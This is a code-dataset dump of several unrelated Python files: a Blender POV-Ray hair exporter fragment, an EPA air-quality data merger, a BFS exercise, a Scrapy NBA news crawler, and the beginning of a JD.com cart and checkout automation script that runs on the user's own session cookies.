p_sys.particles[pindex], pindex, 0)\n x_co = round(uv_co[0] * (image_width - 1))\n y_co = round(uv_co[1] * (image_height - 1))\n pixelnumber = (image_width * y_co) + x_co\n r = image_pixels[pixelnumber * 4]\n g = image_pixels[pixelnumber * 4 + 1]\n b = image_pixels[pixelnumber * 4 + 2]\n a = image_pixels[pixelnumber * 4 + 3]\n init_color = (r, g, b, a)\n else:\n # only overwrite variable for each competing texture for now\n init_color = tex.evaluate((init_coord[0], init_coord[1], init_coord[2]))\n for step in range(0, steps):\n coord = ob.matrix_world.inverted() @ (p_sys.co_hair(ob, particle_no=pindex, step=step))\n # for controlPoint in particle.hair_keys:\n if p_sys.settings.clump_factor != 0:\n hair_strand_diameter = p_sys.settings.clump_factor / 200.0 * random.uniform(0.5, 1)\n elif step == 0:\n hair_strand_diameter = strand_start\n else:\n hair_strand_diameter += (strand_end - strand_start) / (\n p_sys.settings.display_step + 1\n ) # XXX +1 or not? # XXX use strand_shape in formula\n if step == 0 and p_sys.settings.use_hair_bspline:\n # Write three times the first point to compensate pov Bezier handling\n file.write(\n '<%.6g,%.6g,%.6g>,%.7g,\\n'\n % (coord[0], coord[1], coord[2], abs(hair_strand_diameter))\n )\n file.write(\n '<%.6g,%.6g,%.6g>,%.7g,\\n'\n % (coord[0], coord[1], coord[2], abs(hair_strand_diameter))\n )\n # Useless because particle location is the tip, not the root:\n # file.write(\n # '<%.6g,%.6g,%.6g>,%.7g'\n # % (\n # particle.location[0],\n # particle.location[1],\n # particle.location[2],\n # abs(hair_strand_diameter)\n # )\n # )\n # file.write(',\\n')\n # controlPointCounter += 1\n # total_number_of_strands += len(p_sys.particles)# len(particle.hair_keys)\n\n # Each control point is written out, along with the radius of the\n # hair at that point.\n file.write(\n '<%.6g,%.6g,%.6g>,%.7g' % (coord[0], coord[1], coord[2], abs(hair_strand_diameter))\n )\n\n # All coordinates except the last need a following comma.\n\n if step != steps - 1:\n file.write(',\\n')\n else:\n if textured_hair:\n # Write pigment and alpha (between Pov and Blender,\n # alpha 0 and 1 are reversed)\n file.write(\n '\\npigment{ color srgbf < %.3g, %.3g, %.3g, %.3g> }\\n'\n % (init_color[0], init_color[1], init_color[2], 1.0 - init_color[3])\n )\n # End the sphere_sweep declaration for this hair\n file.write('}\\n')\n\n # All but the final sphere_sweep (each array element) needs a terminating comma.\n if pindex != total_number_of_strands:\n file.write(',\\n')\n else:\n file.write('\\n')\n\n # End the array declaration.\n\n file.write('}\\n')\n file.write('\\n')\n\n if not textured_hair:\n # Pick up the hair material diffuse color and create a default POV-Ray hair texture.\n\n file.write('#ifndef (HairTexture)\\n')\n file.write(' #declare HairTexture = texture {\\n')\n file.write(\n ' pigment {srgbt <%s,%s,%s,%s>}\\n'\n % (\n pmaterial.diffuse_color[0],\n pmaterial.diffuse_color[1],\n pmaterial.diffuse_color[2],\n (pmaterial.strand.width_fade + 0.05),\n )\n )\n file.write(' }\\n')\n file.write('#end\\n')\n file.write('\\n')\n\n # Dynamically create a union of the hairstrands (or a subset of them).\n # By default use every hairstrand, commented line is for hand tweaking test renders.\n file.write('//Increasing HairStep divides the amount of hair for test renders.\\n')\n file.write('#ifndef(HairStep) #declare HairStep = 1; #end\\n')\n file.write('union{\\n')\n file.write(' #local I = 0;\\n')\n file.write(' #while (I < %i)\\n' % total_number_of_strands)\n file.write(' object {HairArray[I]')\n if not textured_hair:\n file.write(' texture{HairTexture}\\n')\n else:\n file.write('\\n')\n # Translucency of the hair:\n file.write(' hollow\\n')\n file.write(' double_illuminate\\n')\n file.write(' interior {\\n')\n file.write(' ior 1.45\\n')\n file.write(' media {\\n')\n file.write(' scattering { 1, 10*<0.73, 0.35, 0.15> /*extinction 0*/ }\\n')\n file.write(' absorption 10/<0.83, 0.75, 0.15>\\n')\n file.write(' samples 1\\n')\n file.write(' method 2\\n')\n file.write(' density {cylindrical\\n')\n file.write(' color_map {\\n')\n file.write(' [0.0 rgb <0.83, 0.45, 0.35>]\\n')\n file.write(' [0.5 rgb <0.8, 0.8, 0.4>]\\n')\n file.write(' [1.0 rgb <1,1,1>]\\n')\n file.write(' }\\n')\n file.write(' }\\n')\n file.write(' }\\n')\n file.write(' }\\n')\n file.write(' }\\n')\n\n file.write(' #local I = I + HairStep;\\n')\n file.write(' #end\\n')\n\n write_matrix(global_matrix @ ob.matrix_world)\n\n file.write('}')\n print('Totals hairstrands written: %i' % total_number_of_strands)\n print('Number of tufts (particle systems)', len(ob.particle_systems))\n\n # Set back the displayed number of particles to preview count\n # p_sys.set_resolution(scene, ob, 'PREVIEW') #DEPRECATED\n # When you render, the entire dependency graph will be\n # evaluated at render resolution, including the particles.\n # In the viewport it will be at viewport resolution.\n # So there is no need fo render engines to use this function anymore,\n # it's automatic now.\n","sub_path":"render_povray/object_particles.py","file_name":"object_particles.py","file_ext":"py","file_size_in_byte":11483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"109178163","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 28 09:09:58 2018\n\nThis process is not fast and should only be done while connected to ethernet\n\nScript based off of Kai Fan\n\"\"\"\n\nimport pandas as pd\nimport time\n#Set state\n\n# =============================================================================\n# species = ['o3','pm_FRM/FEM','pm_non_FRM/FEM']\n# species_code = ['44201','88101','88502']\n# name = ''\n# num = 3\n# =============================================================================\n\nspecies = ['Winds','Temperature','Pressure','RH']\nspecies_code = ['WIND','TEMP','PRESS','RH_DP']\nname = '_met'\nnum = 4\n\ndef aqs(state,ac):\n AQS={}\n for i in range(0,num):\n print(species[i])\n for j in range(2009,2019):\n dataframename = species[i]+ac+str(j)\n start = time.time()\n print(j)\n temp = pd.read_csv('https://aqs.epa.gov/aqsweb/airdata/hourly_'+species_code[i]+'_'+str(j)+'.zip',header=0,sep=',')\n temp['Date GMT'] = pd.to_datetime(temp['Date GMT'])\n temp = temp[(temp['State Name']==state)] \n AQS[dataframename] = temp\n end = time.time()\n print(round(end-start)) \n dict_AQS = AQS \n \n AQS_df = pd.concat(dict_AQS)\n AQS_df = AQS_df.drop(['Parameter Code','POC','Datum','Date GMT','Time GMT','MDL','Uncertainty',\n 'Qualifier','Method Type','Method Code','Method Name','Date of Last Change'], axis=1)\n \n AQS_df.to_csv(r'E:/Research/AIRPACT_eval/AQS_data/'+state+'_aqs'+name+'.csv')\n print(state + ' Done')\n\naqs('Washington','_WA')\naqs('Oregon','_OR')\naqs('Idaho','_ID')\naqs('Montana','_MT')\naqs('California','_CA')\naqs('Utah','_UT')\naqs('Nevada','_NV')\naqs('Canada','_CC')\n#%%\nif num == 3:\n # =============================================================================\n # Take AQS data and merge with observation data\n # =============================================================================\n \n inputDir = r'E:/Research/AIRPACT_eval/'\n \n # ##############################################################################\n # # Combine hrly model data\n # ##############################################################################\n # \n # df_1 = pd.read_csv('http://lar.wsu.edu/R_apps/2009ap3/data/2009hrly.csv', sep=',')\n # df_2 = pd.read_csv('http://lar.wsu.edu/R_apps/2010ap3/data/2010hrly.csv', sep=',')\n # df_3 = pd.read_csv('http://lar.wsu.edu/R_apps/2011ap3/data/hrly2011ap3.csv', sep=',')\n # df_4 = pd.read_csv('http://lar.wsu.edu/R_apps/2012ap3/data/hrly2012ap3.csv', sep=',') #Whole years data\n # #df_5 = pd.read_csv('http://lar.wsu.edu/R_apps/2012ap4/data/hrly2012.csv', sep=',') #Second half of years data\n # df_5 = pd.read_csv('http://lar.wsu.edu/R_apps/2013ap4/data/hrly2013.csv', sep=',')\n # df_6 = pd.read_csv('http://lar.wsu.edu/R_apps/2014ap4/data/hrly2014.csv', sep=',')\n # df_7 = pd.read_csv('http://lar.wsu.edu/R_apps/2015ap4/data/hrly2015.csv', sep=',') #Full year data\n # #df_8 = pd.read_csv('http://lar.wsu.edu/R_apps/2015ap5/data/hrly2015.csv', sep=',')\n # df_8 = pd.read_csv('http://lar.wsu.edu/R_apps/2016ap5/data/hrly2016.csv', sep=',')\n # df_9 = pd.read_csv('http://lar.wsu.edu/R_apps/2017ap5/data/hrly2017.csv', sep=',')\n # df_10 = pd.read_csv('http://lar.wsu.edu/R_apps/2018ap5/data/hrly2018.csv', sep=',')\n # \n # #Combine data\n # df_list = [df_1,df_2,df_3,df_4,df_5,df_6,df_7,df_8,df_9,df_10]\n # df_mod = pd.concat(df_list)\n # \n # #Drop uneccesary columns\n # df_mod = df_mod.drop(['O3_obs','PM2.5_obs'], axis=1)\n # \n # #df_mod = pd.merge(df_mod,aqsid, on='AQSID', how='outer') \n # \n # # Convert to datetime and adjust to PST\n # print('Converting datetime, this may take a while')\n # df_mod['datetime'] = pd.to_datetime(df_mod['DateTime'], infer_datetime_format=True)\n # df_mod[\"datetime\"] = df_mod[\"datetime\"].apply(lambda x: x - dt.timedelta(hours=8)) #Adjust to PST\n # df_mod = df_mod.drop(['DateTime'], axis=1)\n # \n # df_mod.to_csv(inputDir + '/model_aqs.csv')\n # print('Model data combined')\n # =============================================================================\n \n ##############################################################################\n # Read AQS data. csv's created from 'AQS_grabbing.py' script, and the model data from the previous lines of code\n ##############################################################################\n # Read model data\n df_mod = pd.read_csv(inputDir + '/model_aqs.csv',sep=',')\n df_mod['datetime'] = pd.to_datetime(df_mod['datetime']) #Must convert to date time to merge later\n df_mod = df_mod.drop('Unnamed: 0',axis=1)\n \n #Create AQSID Column form state code, county code, and site num\n aqsid = pd.read_csv(inputDir+'aqs_sites.csv')\n aqsid = aqsid.ix[:,['State Code','County Code','Site Number','Local Site Name','Location Setting']]\n \n aqsid['County Code'] = [\"%03d\" % n for n in aqsid['County Code'] ]\n aqsid['Site Number'] = [\"%04d\" % n for n in aqsid['Site Number'] ]\n \n aqsid['AQSID'] = (aqsid['State Code']).astype(str) + (aqsid['County Code']).astype(str)+(aqsid['Site Number']).astype(str)\n \n # Must force every cell in AQSID to be a string, otherwise lose most of data\n aqsid['AQSID'] = aqsid['AQSID'].astype(str)\n df_mod['AQSID'] = df_mod['AQSID'].astype(str)\n \n df_mod = pd.merge(df_mod,aqsid) # Merge df_mod and aqsid so as to add names and such to the datafram\n \n print('Model data read')\n \n # Read AQS data\n df_wa = pd.read_csv(inputDir + 'AQS_data/Washington_aqs.csv', sep = ',',parse_dates=[['Date Local', 'Time Local']] )\n df_or = pd.read_csv(inputDir + 'AQS_data/Oregon_aqs.csv', sep = ',',parse_dates=[['Date Local', 'Time Local']] )\n df_id = pd.read_csv(inputDir + 'AQS_data/Idaho_aqs.csv', sep = ',',parse_dates=[['Date Local', 'Time Local']] )\n #df_cc = pd.read_csv(inputDir + 'Canada_aqs.csv', sep = ',',parse_dates=[['Date Local', 'Time Local']] )\n df_mt = pd.read_csv(inputDir + 'AQS_data/Montana_aqs.csv', sep = ',',parse_dates=[['Date Local', 'Time Local']] )\n df_ca = pd.read_csv(inputDir + 'AQS_data/California_aqs.csv', sep = ',',parse_dates=[['Date Local', 'Time Local']] )\n df_nv = pd.read_csv(inputDir + 'AQS_data/Nevada_aqs.csv', sep = ',',parse_dates=[['Date Local', 'Time Local']] )\n df_ut = pd.read_csv(inputDir + 'AQS_data/Utah_aqs.csv', sep = ',',parse_dates=[['Date Local', 'Time Local']] )\n \n # Combine AQS data\n df_list = [df_wa,df_or,df_id,df_mt,df_ca,df_nv,df_ut]\n df_obs = pd.concat(df_list)\n \n \n #Create AQSID Column form state code, county code, and site num\n df_obs['County Code'] = [\"%03d\" % n for n in df_obs['County Code'] ]\n df_obs['Site Num'] = [\"%04d\" % n for n in df_obs['Site Num'] ]\n \n df_obs['AQSID'] = (df_obs['State Code']).astype(str) + (df_obs['County Code']).astype(str)+(df_obs['Site Num']).astype(str)\n \n # Drop columns of data we are not looking at so as to increase the speed of the script\n df_obs = df_obs.drop(['Unnamed: 0','Unnamed: 1','State Name','County Name','State Code','County Code','Site Num','Units of Measure','Latitude','Longitude'],axis=1)\n df_obs = df_obs.rename(columns={'Date Local_Time Local': 'datetime','Parameter Name':'Parameter_Name'})\n print('Observed data read and combined')\n \n # Only pulls ozone/pm data\n df_obs_o3 = df_obs.loc[df_obs['Parameter_Name']=='Ozone']\n df_obs_pm = df_obs.loc[df_obs['Parameter_Name']=='PM2.5 - Local Conditions']\n df_obs_pm2 = df_obs.loc[df_obs['Parameter_Name']=='Acceptable PM2.5 AQI & Speciation Mass']\n df_obs_pm = pd.concat([df_obs_pm,df_obs_pm2])\n \n df_obs_o3 = df_obs_o3.rename(columns={'Sample Measurement':'O3_obs'})\n df_obs_pm = df_obs_pm.rename(columns={'Sample Measurement':'PM2.5_obs'})\n \n df_obs_o3 = df_obs_o3.drop(['Parameter_Name'],axis=1)\n df_obs_pm = df_obs_pm.drop(['Parameter_Name'],axis=1)\n df_obs = pd.merge(df_obs_o3, df_obs_pm, on =['datetime','AQSID'], how='outer')\n \n df_obs = pd.merge(df_obs,aqsid, how='outer') \n #df_obs = df_obs.drop(['Latitude_x','Latitude_y','Longitude_x','Longitude_y'], axis=1)\n \n ##############################################################################\n # Manipulate obs and mod dataframes to set them up to plot\n ##############################################################################\n #df_com = pd.concat([df_obs,df_mod])\n '''\n # sites which are common between base and Observations\n sites_common = set(df_obs['AQSID']).intersection(set(df_mod['AQSID']))\n \n ## take only the data which is for common sites\n df_obs_new = pd.DataFrame(columns=df_obs.columns)\n df_mod_new = pd.DataFrame(columns=df_mod.columns)\n for sites in sites_common:\n # print sites\n dfa = df_obs.loc[df_obs['AQSID']==sites, df_obs.columns]\n dfb = df_mod.loc[df_mod['AQSID']==sites, df_mod.columns]\n df_obs_new = pd.concat([df_obs_new, dfa], join='outer', ignore_index=True)\n df_mod_new = pd.concat([df_mod_new, dfb], join='outer', ignore_index=True)\n '''\n # merge now\n print('Merging large dataframes, this may take a while')\n #df_com = pd.merge(df_obs_new, df_mod_new, on=['datetime', 'AQSID','long_name'], how='outer')\n df_com = pd.merge(df_obs, df_mod, how='outer')\n \n #df_com = pd.concat([df_obs,df_mod])\n \n \n # Need to convert these to numeric\n df_com.loc[:,'O3_mod'] = pd.to_numeric(df_com.loc[:,'O3_mod'], errors='coerce')\n df_com.loc[:,'PM2.5_mod'] = pd.to_numeric(df_com.loc[:,'PM2.5_mod'], errors='coerce')\n #df_com.loc[:,'AQSID'] = pd.to_numeric(df_com.loc[:,'AQSID'], errors='coerce')\n \n #df_com = df_com.drop(['AQSID_x','AQSID_y'],axis=1)\n df_com['datetime'] = pd.to_datetime(df_com['datetime'], infer_datetime_format=True)\n \n #df_com = pd.merge(df_com,aqsid, on=['AQSID','long_name'], how='outer') \n #df_com = df_com.set_index('datetime')\n \n df_com.loc[:,'O3_mod'] = pd.to_numeric(df_com.loc[:,'O3_mod'], errors='coerce')\n df_com.loc[:,'PM2.5_mod'] = pd.to_numeric(df_com.loc[:,'PM2.5_mod'], errors='coerce')\n df_com.loc[:,'O3_obs'] = pd.to_numeric(df_com.loc[:,'O3_obs'], errors='coerce')\n df_com['O3_obs'] = df_com['O3_obs']*1000 #convert to ppb\n df_obs['O3_obs'] = df_obs['O3_obs']*1000\n df_com.loc[:,'PM2.5_obs'] = pd.to_numeric(df_com.loc[:,'PM2.5_obs'], errors='coerce')\n df_com = df_com.drop(['State Code','County Code','Site Number'],axis=1) # drop unecessary columns\n print('Combined dataframe finished')\n \n df_com.to_csv(inputDir+'AQS_data/df_com_aplong.csv')\n \n \n ","sub_path":"AIRPACT_eval/AQS_grabbing.py","file_name":"AQS_grabbing.py","file_ext":"py","file_size_in_byte":10733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"520333099","text":"import collections\nimport sys\n\nn,m,k,x = map(int,sys.stdin.readline().split())\nroad = collections.defaultdict(list)\nfor _ in range(m):\n s,d = map(int,sys.stdin.readline().split())\n road[s].append(d)\n \nq=collections.deque()\nq.append((0,x))\n\nans=[]\nvisited = [0 for _ in range(n+1)]\nvisited[x] = 1 # 시작점\n\nwhile q:\n dist, ct = q.popleft() \n \n if dist==k: # 거리 k이면 정답 리스트에 넣기\n ans.append(ct)\n \n for c in road[ct]: # 연결된 도시들 중 방문 안 한 도시 방문\n if not visited[c]:\n visited[c]=1\n q.append((dist+1,c)) # 거리 +1 \n \nans.sort() \nif not ans:\n print(-1)\nelse:\n for i in ans:\n print(i)\n","sub_path":"Algorithm/EUNWOO/18352.py","file_name":"18352.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"129776658","text":"import scrapy\nfrom w3lib.html import remove_tags, remove_tags_with_content\nfrom NewsCrawler.items import ArticleItem\n\n\nclass NewsCrawler(scrapy.Spider):\n name = \"NewsCrawler\"\n allowed_domains = ['nba.udn.com']\n start_urls = [\n \"https://nba.udn.com/nba/index?gr=www\",\n ]\n\n def parse(self, response):\n news_list = response.xpath(\n '//*[@id=\"news_body\"]//dl//a/@href').getall()\n for url in news_list:\n yield response.follow(url, callback=self.parse_news)\n\n def parse_news(self, response):\n input = ''.join(response.xpath(\n '//*[@id=\"story_body_content\"]/span/p').extract())\n content = remove_tags(\n remove_tags_with_content(input, ('div', 'figure')), keep=('p',))\n\n item = ArticleItem()\n item['a_title'] = response.css(\n 'h1.story_art_title::text').get()\n item['a_datetime'] = response.css(\n 'div.shareBar__info--author span::text').get()\n item['a_source'] = response.css(\n 'div.shareBar__info--author::text').get()\n item['a_content'] = content\n yield item\n","sub_path":"mysite/NewsCrawler/NewsCrawler/spiders/newsCrawler.py","file_name":"newsCrawler.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"325721985","text":"# -*- coding=utf-8 -*-\n'''\n2020/2/13\n(避免滥用,代码已经废弃,现已不更新,有需要请适量使用exe版本)\n京东抢购商品程序\n通过商品的skuid、地区id抢购\n'''\nimport sys\nimport io\n\nimport schedule\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nfrom config import Config\nfrom jdProgram import *\nfrom message import message\nfrom util import getconfigMd5, _setDNSCache\n\nimport threading\n\nsys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')\n\nglobal cookies_String, mail, sc_key, messageType, modelType, area, skuidsString, skuids, captchaUrl, eid, fp, payment_pwd\nglobal scheduled_time_start\nglobal scheduled_time_end\nglobal quit_scripts_falg \n\ndef getconfig():\n global cookies_String, mail, sc_key, messageType, modelType, area, skuidsString, skuids, captchaUrl, eid, fp, payment_pwd\n global scheduled_time_start\n global scheduled_time_end\n global quit_scripts_falg \n \n quit_scripts_falg = False\n\n global_config = Config()\n # cookie 网页获取\n cookies_String = global_config.getRaw('config', 'cookies_String')\n # 有货通知 收件邮箱\n mail = global_config.getRaw('config', 'mail')\n # 方糖微信推送的key 不知道的请看http://sc.ftqq.com/3.version\n sc_key = global_config.getRaw('config', 'sc_key')\n # 推送方式 1(mail)或 2(wechat)\n messageType = global_config.getRaw('config', 'messageType')\n # 下单模式\n modelType = global_config.getRaw('V2', 'model')\n # 地区id\n area = global_config.getRaw('config', 'area')\n # 脚本开始检测时间end\n scheduled_time_start = global_config.getRaw('Schedule', 'scheduled_time_start')\n # 脚本开始检测时间\n scheduled_time_end = global_config.getRaw('Schedule', 'scheduled_time_end')\n\n # 商品id\n skuidsString = global_config.getRaw('V2', 'skuids')\n skuids = str(skuidsString).split(',')\n # 验证码服务地址\n captchaUrl = global_config.getRaw('Temporary', 'captchaUrl')\n if not modelType:\n logger.error('请在configDemo.ini文件填写下单model')\n\n if len(skuids[0]) == 0:\n logger.error('请在configDemo.ini文件中输入你的商品id')\n sys.exit(1)\n '''\n 备用\n '''\n # eid\n eid = global_config.getRaw('Temporary', 'eid')\n fp = global_config.getRaw('Temporary', 'fp')\n # 支付密码\n payment_pwd = global_config.getRaw('config', 'payment_pwd')\n\n\n# 初次\nconfigTime = int(time.time())\ngetconfig()\nconfigMd5 = getconfigMd5()\nmessage = message(messageType=messageType, sc_key=sc_key, mail=mail)\n\nis_Submit_captcha = False\nsubmit_captcha_rid = ''\nsubmit_captcha_text = ''\nencryptClientInfo = ''\nsubmit_Time = 0\nsession = requests.session()\nsession.headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/531.36\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\n \"Connection\": \"keep-alive\"\n}\nchecksession = requests.session()\nchecksession.headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/531.36\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\n \"Connection\": \"keep-alive\"\n}\nmanual_cookies = {}\n\n\ndef get_tag_value(tag, key='', index=0):\n if key:\n value = tag[index].get(key)\n else:\n value = tag[index].text\n return value.strip(' \\t\\r\\n')\n\n\nfor item in cookies_String.split(';'):\n name, value = item.strip().split('=', 1)\n # 用=号分割,分割1次\n manual_cookies[name] = value\n # 为字典cookies添加内容\n\ncookiesJar = requests.utils.cookiejar_from_dict(manual_cookies, cookiejar=None, overwrite=True)\nsession.cookies = cookiesJar\n\n\ndef validate_cookies():\n for flag in range(1, 3):\n try:\n targetURL = 'https://order.jd.com/center/list.action'\n payload = {\n 'rid': str(int(time.time() * 1000)),\n }\n resp = session.get(url=targetURL, params=payload, allow_redirects=False)\n if resp.status_code == requests.codes.OK:\n logger.info('校验是否登录[成功]')\n return True\n else:\n logger.info('校验是否登录[失败]')\n logger.info('请在configDemo.ini文件下更新cookie')\n time.sleep(5)\n continue\n except Exception as e:\n logger.info('第【%s】次请重新获取cookie', flag)\n time.sleep(5)\n continue\n message.sendAny('脚本登录cookie失效了,请重新登录')\n sys.exit(1)\n\n\ndef getUsername():\n userName_Url = 'https://passport.jd.com/new/helloService.ashx?callback=jQuery339448&_=' + str(\n int(time.time() * 1000))\n session.headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/531.36\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\n \"Referer\": \"https://order.jd.com/center/list.action\",\n \"Connection\": \"keep-alive\"\n }\n resp = session.get(url=userName_Url, allow_redirects=True)\n resultText = resp.text\n resultText = resultText.replace('jQuery339448(', '')\n resultText = resultText.replace(')', '')\n usernameJson = json.loads(resultText)\n logger.info('登录账号名称[%s]', usernameJson['nick'])\n\n\n'''\n检查是否有货\n'''\n\n\ndef check_item_stock(itemUrl):\n response = session.get(itemUrl)\n if (response.text.find('无货') > 0):\n return True\n \n if (response.text.find('此商品暂时售完') > 0):\n return True\n else:\n return False\n\n\n'''\n取消勾选购物车中的所有商品\n'''\n\n\ndef cancel_select_all_cart_item():\n url = \"https://cart.jd.com/cancelAllItem.action\"\n data = {\n 't': 0,\n 'outSkus': '',\n 'random': random.random()\n }\n resp = session.post(url, data=data)\n if resp.status_code != requests.codes.OK:\n print('Status: %u, Url: %s' % (resp.status_code, resp.url))\n return False\n return True\n\n\n'''\n购物车详情\n'''\n\n\ndef cart_detail():\n url = 'https://cart.jd.com/cart.action'\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/531.36\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\n \"Referer\": \"https://order.jd.com/center/list.action\",\n \"Host\": \"cart.jd.com\",\n \"Connection\": \"keep-alive\"\n }\n resp = session.get(url, headers=headers)\n soup = BeautifulSoup(resp.text, \"html.parser\")\n\n cart_detail = dict()\n for item in soup.find_all(class_='item-item'):\n try:\n sku_id = item['skuid'] # 商品id\n except Exception as e:\n logger.info('购物车中有套装商品,跳过')\n continue\n try:\n # 例如:['increment', '8888', '100001071956', '1', '13', '0', '50067652554']\n # ['increment', '8888', '100002404322', '2', '1', '0']\n item_attr_list = item.find(class_='increment')['id'].split('_')\n p_type = item_attr_list[4]\n promo_id = target_id = item_attr_list[-1] if len(item_attr_list) == 7 else 0\n\n cart_detail[sku_id] = {\n 'name': get_tag_value(item.select('div.p-name a')), # 商品名称\n 'verder_id': item['venderid'], # 商家id\n 'count': int(item['num']), # 数量\n 'unit_price': get_tag_value(item.select('div.p-price strong'))[1:], # 单价\n 'total_price': get_tag_value(item.select('div.p-sum strong'))[1:], # 总价\n 'is_selected': 'item-selected' in item['class'], # 商品是否被勾选\n 'p_type': p_type,\n 'target_id': target_id,\n 'promo_id': promo_id\n }\n except Exception as e:\n logger.error(\"商品%s在购物车中的信息无法解析,报错信息: %s,该商品自动忽略\", sku_id, e)\n\n logger.info('购物车信息:%s', cart_detail)\n return cart_detail\n\n\n'''\n修改购物车商品的数量\n'''\n\n\ndef change_item_num_in_cart(sku_id, vender_id, num, p_type, target_id, promo_id):\n url = \"https://cart.jd.com/changeNum.action\"\n data = {\n 't': 0,\n 'venderId': vender_id,\n 'pid': sku_id,\n 'pcount': num,\n 'ptype': p_type,\n 'targetId': target_id,\n 'promoID': promo_id,\n 'outSkus': '',\n 'random': random.random(),\n # 'locationId'\n }\n session.headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/531.36\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\n \"Referer\": \"https://cart.jd.com/cart\",\n \"Connection\": \"keep-alive\"\n }\n resp = session.post(url, data=data)\n return json.loads(resp.text)['sortedWebCartResult']['achieveSevenState'] == 2\n\n\n'''\n添加商品到购物车\n'''\n\n\ndef add_item_to_cart(sku_id):\n url = 'https://cart.jd.com/gate.action'\n payload = {\n 'pid': sku_id,\n 'pcount': 1,\n 'ptype': 1,\n }\n resp = session.get(url=url, params=payload)\n if 'https://cart.jd.com/cart.action' in resp.url: # 套装商品加入购物车后直接跳转到购物车页面\n result = True\n else: # 普通商品成功加入购物车后会跳转到提示 \"商品已成功加入购物车!\" 页面\n soup = BeautifulSoup(resp.text, \"html.parser\")\n result = bool(soup.select('h3.ftx-02')) # [

商品已成功加入购物车!

]\n\n if result:\n logger.info('%s 已成功加入购物车', sku_id)\n else:\n logger.error('%s 添加到购物车失败', sku_id)\n\n\ndef get_checkout_page_detail():\n \"\"\"获取订单结算页面信息\n\n 该方法会返回订单结算页面的详细信息:商品名称、价格、数量、库存状态等。\n\n :return: 结算信息 dict\n \"\"\"\n url = 'http://trade.jd.com/shopping/order/getOrderInfo.action'\n # url = 'https://cart.jd.com/gotoOrder.action'\n payload = {\n 'rid': str(int(time.time() * 1000)),\n }\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/531.36\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\n \"Referer\": \"https://cart.jd.com/cart.action\",\n \"Connection\": \"keep-alive\",\n 'Host': 'trade.jd.com',\n }\n try:\n resp = session.get(url=url, params=payload, headers=headers)\n if not response_status(resp):\n logger.error('获取订单结算页信息失败')\n return ''\n if '刷新太频繁了' in resp.text:\n return '刷新太频繁了'\n soup = BeautifulSoup(resp.text, \"html.parser\")\n risk_control = get_tag_value(soup.select('input#riskControl'), 'value')\n showCheckCode = get_tag_value(soup.select('input#showCheckCode'), 'value')\n if not showCheckCode:\n pass\n else:\n if showCheckCode == 'true':\n logger.info('提交订单需要验证码')\n global is_Submit_captcha, encryptClientInfo\n encryptClientInfo = get_tag_value(soup.select('input#encryptClientInfo'), 'value')\n is_Submit_captcha = True\n\n order_detail = {\n 'address': soup.find('span', id='sendAddr').text[5:], # remove '寄送至: ' from the begin\n 'receiver': soup.find('span', id='sendMobile').text[4:], # remove '收件人:' from the begin\n 'total_price': soup.find('span', id='sumPayPriceId').text[1:], # remove '¥' from the begin\n 'items': []\n }\n\n logger.info(\"下单信息:%s\", order_detail)\n return risk_control\n except requests.exceptions.RequestException as e:\n logger.error('订单结算页面获取异常:%s' % e)\n except Exception as e:\n logger.error('下单页面数据解析异常:%s', e)\n return ''\n\n\n'''\n下柜商品检测\n'''\n\n\ndef item_removed(sku_id):\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/531.36\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\n \"Referer\": \"http://trade.jd.com/shopping/order/getOrderInfo.action\",\n \"Connection\": \"keep-alive\",\n 'Host': 'item.jd.com',\n }\n url = 'https://item.jd.com/{}.html'.format(sku_id)\n page = requests.get(url=url, headers=headers)\n return '该商品已下柜' not in page.text\n\n\n'''\n购买环节\n测试三次\n'''\n\n\ndef normalModeBuyMask(sku_id):\n cancel_select_all_cart_item()\n cart = cart_detail()\n if sku_id in cart:\n logger.info('%s 已在购物车中,调整数量为 %s', sku_id, 1)\n cart_item = cart.get(sku_id)\n 